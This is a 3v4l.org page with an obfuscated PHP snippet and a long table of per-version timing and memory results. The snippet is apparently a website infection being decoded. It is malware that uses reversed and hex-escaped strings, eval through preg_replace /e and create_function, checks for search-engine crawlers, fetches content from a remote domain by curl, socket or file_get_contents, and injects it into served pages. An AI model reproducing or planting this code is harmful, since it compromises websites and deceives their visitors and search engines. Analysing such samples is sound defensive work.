3v4l.org

run code in 300+ PHP versions simultaneously
<?php $w9 ="\x2f\50\x2e\52\x29\57"; // / ( . *) / e $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$slv = "\x73\164\x72\162\x65\166";$s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; //echo $ll($w9, $syv.'("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M")'.$ji9, NULL); echo str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.50
8.3.50.0090.00817.21
8.3.40.0140.00018.82
8.3.30.0140.00018.54
8.3.20.0040.00418.65
8.3.10.0080.00018.78
8.3.00.0050.00319.13
8.2.180.0220.00016.75
8.2.170.0070.00722.96
8.2.160.0090.00619.29
8.2.150.0000.00824.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0050.00319.36
8.2.110.0040.00420.94
8.2.100.0030.00917.72
8.2.90.0060.00319.33
8.2.80.0040.00419.25
8.2.70.0000.00817.50
8.2.60.0090.00017.93
8.2.50.0060.00318.07
8.2.40.0020.00517.89
8.2.30.0040.00418.19
8.2.20.0030.00617.61
8.2.10.0000.00717.68
8.2.00.0070.00017.71
8.1.280.0060.00925.92
8.1.270.0060.00324.66
8.1.260.0050.00326.35
8.1.250.0080.00028.09
8.1.240.0040.00422.48
8.1.230.0040.00821.04
8.1.220.0030.00517.74
8.1.210.0030.00518.87
8.1.200.0000.00917.11
8.1.190.0030.00517.53
8.1.180.0030.00618.10
8.1.170.0040.00418.75
8.1.160.0040.00418.88
8.1.150.0040.00418.67
8.1.140.0000.00817.31
8.1.130.0070.00017.92
8.1.120.0040.00417.34
8.1.110.0040.00417.48
8.1.100.0000.00817.44
8.1.90.0040.00417.34
8.1.80.0070.00017.36
8.1.70.0030.00317.46
8.1.60.0060.00317.43
8.1.50.0000.00817.44
8.1.40.0040.00417.40
8.1.30.0080.00017.51
8.1.20.0060.00317.64
8.1.10.0050.00217.46
8.1.00.0070.00017.54
8.0.300.0030.00320.15
8.0.290.0000.00816.88
8.0.280.0000.00718.60
8.0.270.0030.00317.39
8.0.260.0000.00616.82
8.0.250.0020.00516.90
8.0.240.0000.00716.95
8.0.230.0000.00816.87
8.0.220.0000.00716.80
8.0.210.0060.00316.77
8.0.200.0000.00616.95
8.0.190.0030.00616.91
8.0.180.0050.00216.82
8.0.170.0040.00416.90
8.0.160.0030.00416.77
8.0.150.0030.00516.83
8.0.140.0000.01116.75
8.0.130.0060.00013.33
8.0.120.0030.00316.74
8.0.110.0000.00716.93
8.0.100.0040.00416.87
8.0.90.0040.00416.76
8.0.80.0030.01216.81
8.0.70.0000.00716.73
8.0.60.0040.00416.74
8.0.50.0040.00416.75
8.0.30.0100.00916.84
8.0.20.0150.00816.95
8.0.10.0000.00716.82
8.0.00.0140.00816.78
7.4.330.0020.00213.00
7.4.320.0030.00316.56
7.4.300.0000.00616.50
7.4.290.0060.00316.42
7.4.280.0030.00616.46
7.4.270.0050.00316.39
7.4.260.0000.00713.31
7.4.250.0040.00416.59
7.4.240.0020.00516.44
7.4.230.0070.00016.52
7.4.220.0170.00316.55
7.4.210.0050.01116.57
7.4.200.0000.00716.43
7.4.190.0030.00316.59
7.4.160.0070.01016.57
7.4.150.0090.00916.45
7.4.140.0080.01016.51
7.4.130.0100.01016.52
7.4.120.0090.00816.42
7.4.110.0060.01216.47
7.4.100.0060.01516.49
7.4.90.0100.01316.63
7.4.80.0040.01319.39
7.4.70.0100.01016.48
7.4.60.0090.00616.51
7.4.50.0000.00916.21
7.4.40.0070.01016.37
7.4.30.0040.01216.33
7.4.00.0090.00614.73
7.3.330.0030.00513.09
7.3.320.0080.00013.11
7.3.310.0040.00416.25
7.3.300.0000.00616.13
7.3.290.0110.00316.18
7.3.280.0110.00616.17
7.3.270.0100.00716.51
7.3.260.0030.01316.30
7.3.250.0110.01116.30
7.3.240.0100.01016.32
7.3.230.0090.00916.41
7.3.210.0070.01016.52
7.3.200.0140.00316.16
7.3.190.0060.01516.16
7.3.180.0090.00616.63
7.3.170.0100.01016.37
7.3.160.0080.00816.42
7.3.120.0030.01014.89
7.3.110.0060.00914.57
7.3.100.0070.00714.95
7.3.90.0070.00714.83
7.3.80.0060.00614.39
7.3.70.0060.00614.60
7.3.60.0040.01214.76
7.3.50.0070.00714.75
7.3.40.0050.00814.82
7.3.30.0030.01014.73
7.3.20.0060.00616.63
7.3.10.0040.00716.35
7.3.00.0060.00916.48
7.2.330.0100.00716.55
7.2.320.0100.00916.57
7.2.310.0190.00316.67
7.2.300.0030.02216.24
7.2.290.0030.01316.62
7.2.240.0070.00714.96
7.2.230.0070.00714.92
7.2.220.0000.00915.15
7.2.210.0070.00714.87
7.2.200.0070.00714.93
7.2.190.0030.01014.98
7.2.180.0090.00614.63
7.2.170.0000.01114.82
7.2.160.0080.00414.97
7.2.150.0120.00316.74
7.2.140.0070.01016.79
7.2.130.0040.01116.98
7.2.120.0090.00616.81
7.2.110.0090.00616.95
7.2.100.0070.00716.73
7.2.90.0000.01016.74
7.2.80.0060.00916.75
7.2.70.0080.00616.89
7.2.60.0070.00416.61
7.2.50.0030.01416.79
7.2.40.0090.00616.96
7.2.30.0000.00916.92
7.2.20.0060.00916.54
7.2.10.0000.01316.53
7.2.00.0090.00618.11
7.1.330.0030.01315.36
7.1.320.0000.00915.68
7.1.310.0040.01115.66
7.1.300.0030.00615.58
7.1.290.0090.00915.59
7.1.280.0040.00715.69
7.1.270.0030.01015.71
7.1.260.0030.00615.69
7.1.250.0040.00715.96
7.1.100.0060.01017.85
7.1.70.0060.00317.01
7.1.60.0100.01419.40
7.1.50.0130.00616.87
7.1.00.0030.06322.36
7.0.200.0220.01014.82
7.0.140.0070.07322.21
7.0.120.0070.07022.19
7.0.60.0170.07719.94
7.0.50.0070.08017.83
7.0.40.0100.06720.42
7.0.30.0100.04720.11
7.0.20.0000.04720.13
7.0.10.0130.03320.09
7.0.00.0070.08320.26
5.6.280.0030.07321.12
5.6.210.0200.06720.61
5.6.200.0130.08018.13
5.6.190.0070.08720.61
5.6.180.0000.06020.63
5.6.170.0030.06720.57
5.6.160.0070.08320.44
5.6.150.0030.06020.44
5.6.140.0100.07020.13
5.6.130.0070.08020.41
5.6.120.0070.06720.43
5.6.110.0130.06020.45
5.6.100.0100.08020.42
5.6.90.0000.08320.31
5.6.80.0070.08319.49
5.6.70.0030.08719.48
5.6.60.0070.07719.49
5.6.50.0030.06019.76
5.6.40.0070.08019.69
5.6.30.0130.03719.73
5.6.20.0030.04719.79
5.6.10.0100.03719.53
5.6.00.0030.04019.66
5.5.350.0300.07320.43
5.5.340.0200.06717.96
5.5.330.0030.06720.29
5.5.320.0130.07720.34
5.5.310.0000.06320.27
5.5.300.0030.06320.17
5.5.290.0030.07720.21
5.5.280.0100.07719.97
5.5.270.0100.08720.16
5.5.260.0070.09019.86
5.5.250.0030.07719.78
5.5.240.0030.04319.30
5.5.230.0030.08019.61
5.5.220.0030.08719.58
5.5.210.0030.08019.34
5.5.200.0100.08019.53
5.5.190.0030.04319.45
5.5.180.0070.03719.58
5.5.160.0000.04319.48
5.5.150.0100.05019.56
5.5.140.0170.03319.52
5.5.130.0100.04019.33
5.5.120.0070.04319.49
5.5.110.0230.02719.55
5.5.100.0170.03019.49
5.5.90.0170.04019.22
5.5.80.0170.04319.47
5.5.70.0270.06719.39
5.5.60.0100.04719.21
5.5.50.0170.03319.38
5.5.40.0170.03719.43
5.5.30.0130.04019.39
5.5.20.0200.04019.46
5.5.10.0170.04019.43
5.5.00.0200.03319.41
5.4.450.0030.07319.48
5.4.440.0030.04319.12
5.4.430.0100.07719.32
5.4.420.0030.06719.23
5.4.410.0130.06719.20
5.4.400.0100.06319.16
5.4.390.0070.06719.00
5.4.380.0030.06019.09
5.4.370.0000.05319.14
5.4.360.0000.06019.09
5.4.350.0000.05319.18
5.4.340.0070.04018.79
5.4.320.0100.03319.18
5.4.310.0130.03719.08
5.4.300.0070.04018.91
5.4.290.0130.03719.07
5.4.280.0070.04019.00
5.4.270.0170.04019.14
5.4.260.0070.03718.80
5.4.250.0170.05019.18
5.4.240.0130.05019.14
5.4.230.0200.04019.14
5.4.220.0230.03719.14
5.4.210.0100.05318.92
5.4.200.0170.03318.91
5.4.190.0130.03719.18
5.4.180.0170.03319.13
5.4.170.0200.04018.93
5.4.160.0200.03319.05
5.4.150.0170.03719.16
5.4.140.0130.03716.48
5.4.130.0170.06316.32
5.4.120.0130.03316.43
5.4.110.0130.03716.27
5.4.100.0130.04016.27
5.4.90.0130.03716.33
5.4.80.0030.04316.25
5.4.70.0130.03716.59
5.4.60.0100.03716.33
5.4.50.0100.03316.30
5.4.40.0170.03016.25
5.4.30.0230.02716.32
5.4.20.0100.04016.34
5.4.10.0170.03016.30
5.4.00.0130.04015.64
5.3.290.0070.04014.63
5.3.280.0130.07714.44
5.3.270.0200.03314.74
5.3.260.0200.03014.60
5.3.250.0170.03714.57
5.3.240.0270.07014.55
5.3.230.0270.03014.55
5.3.220.0070.04314.60
5.3.210.0130.03714.47
5.3.200.0170.04314.54
5.3.190.0170.03714.54
5.3.180.0100.04014.40
5.3.170.0130.04014.56
5.3.160.0130.03714.51
5.3.150.0100.03714.60
5.3.140.0170.03014.37
5.3.130.0200.03714.51
5.3.120.0170.03714.50
5.3.110.0130.04014.55
5.3.100.0200.03013.98
5.3.90.0200.03013.98
5.3.80.0130.03713.83
5.3.70.0230.02713.97
5.3.60.0170.03713.96
5.3.50.0230.02714.06
5.3.40.0000.04013.91
5.3.30.0030.07313.75
5.3.20.0070.03713.67
5.3.10.0030.03313.52
5.3.00.0100.02713.48
5.2.170.0170.02712.58
5.2.160.0030.02712.58
5.2.150.0000.03012.58
5.2.140.0000.04712.58
5.2.130.0000.06012.58
5.2.120.0030.04712.58
5.2.110.0000.02712.58
5.2.100.0000.04712.58
5.2.90.0000.06712.58
5.2.80.0000.06012.58
5.2.70.0000.06312.58
5.2.60.0070.05712.58
5.2.50.0170.04712.58
5.2.40.0100.04712.58
5.2.30.0030.06012.58
5.2.20.0030.05312.58
5.2.10.0030.06012.58
5.2.00.0000.06312.58
5.1.60.0070.05012.59
5.1.50.0030.04012.61
5.1.40.0070.05012.65
5.1.30.0000.05712.66
5.1.20.0070.03712.67
5.1.10.0070.05312.70
5.1.00.0070.06012.70
5.0.50.0100.04012.71
5.0.40.0030.04712.72
5.0.30.0100.05312.78
5.0.20.0070.04012.78
5.0.10.0000.03312.78
5.0.00.0000.05712.78
4.4.90.0000.03712.58
4.4.80.0000.02712.58
4.4.70.0070.02012.58
4.4.60.0000.03712.58
4.4.50.0000.03012.58
4.4.40.0030.05012.60
4.4.30.0000.03012.65
4.4.20.0030.03712.67
4.4.10.0000.02712.71
4.4.00.0000.04012.71
4.3.110.0100.03012.78
4.3.100.0070.03712.78
4.3.90.0070.02712.78
4.3.80.0030.03012.78
4.3.70.0100.03012.78
4.3.60.0030.03312.78
4.3.50.0000.02012.78
4.3.40.0030.05012.78
4.3.30.0000.04012.78
4.3.20.0070.03012.78
4.3.10.0000.04012.78
4.3.00.0070.03312.78

preferences:
53.17 ms | 401 KiB | 5 Q